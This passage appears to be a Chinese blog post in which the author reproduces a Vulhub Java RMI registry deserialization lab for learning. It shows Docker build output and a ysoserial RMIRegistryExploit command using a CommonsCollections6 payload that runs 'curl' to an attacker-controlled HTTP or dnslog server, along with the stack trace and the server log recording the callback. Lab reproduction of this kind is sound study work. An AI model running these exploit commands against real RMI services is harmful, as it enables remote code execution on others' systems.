Step 4/12 : WORKDIR /usr/src
 ---> Using cache
 ---> c9f14a7aef0f
Step 5/12 : RUN cd /usr/src;     mvn -U clean package -Dmaven.test.skip=true --settings settings.xml
 ---> Using cache
 ---> 27cbdf63515c
Step 6/12 : FROM openjdk:8u111-jre
 ---> e44d62cf8862
Step 7/12 : WORKDIR /root
 ---> Using cache
 ---> 313347366d80
Step 8/12 : ENV RMIIP="127.0.0.1"
 ---> Using cache
 ---> 90e0b68b0433
Step 9/12 : COPY --from=builder /usr/src/target/train-1.0-SNAPSHOT-all.jar /root/train-1.0-SNAPSHOT-all.jar
 ---> Using cache
 ---> be0e1ec1469d
Step 10/12 : COPY src/client.policy /root/
 ---> Using cache
 ---> 9baa04a82cb7
Step 11/12 : EXPOSE 1099
 ---> Using cache
 ---> eb629a8ecc8a
Step 12/12 : CMD ["bash", "-c", "java -cp train-1.0-SNAPSHOT-all.jar -Djdk.xml.enableTemplatesImplDeserialization=true -Djava.rmi.server.hostname=${RMIIP} -Djava.security.manager -Djava.security.policy=/root/client.policy train.rmi.Server"]
 ---> Using cache
 ---> 77e422e51645
Successfully built 77e422e51645
Successfully tagged rmi-registry-bind-deserialization_rmi:latest

root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 rmi
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
Creating network "rmi-registry-bind-deserialization_default" with the default driver
Hello obj bound
利用
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server"
F:\Tools\WEB\Java-Tools
> java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.RMIRegistryExploit xx.xx.xx.xx 1099 CommonsCollections6 "curl http://xx.xx.xx.xx:8000/exp"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.AccessException: Registry.Registry.bind disallowed; origin /125.84.158.133 is non-local host
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:421)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
        at java.lang.Thread.run(Thread.java:745)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:276)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:253)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:379)
        at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /125.84.158.133 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:287)
        at sun.rmi.registry.RegistryImpl.bind(RegistryImpl.java:179)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:411)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
        at java.lang.Thread.run(Thread.java:745)

成功执行

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
121.4.65.44 - - [06/Nov/2021 14:20:15] code 404, message File not found
121.4.65.44 - - [06/Nov/2021 14:20:15] "GET /exp HTTP/1.1" 404 -

小结

本来是想多复现几个场景的,但是由于环境原因,实现起来比较复杂,我的目的就只是练习使用ysoserial工具,就懒得搞了,而且耽误时间并且意义也不大,那么学习java反序列就告一段落,这只是刚刚开始,后边还会陆陆续续进行学习。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值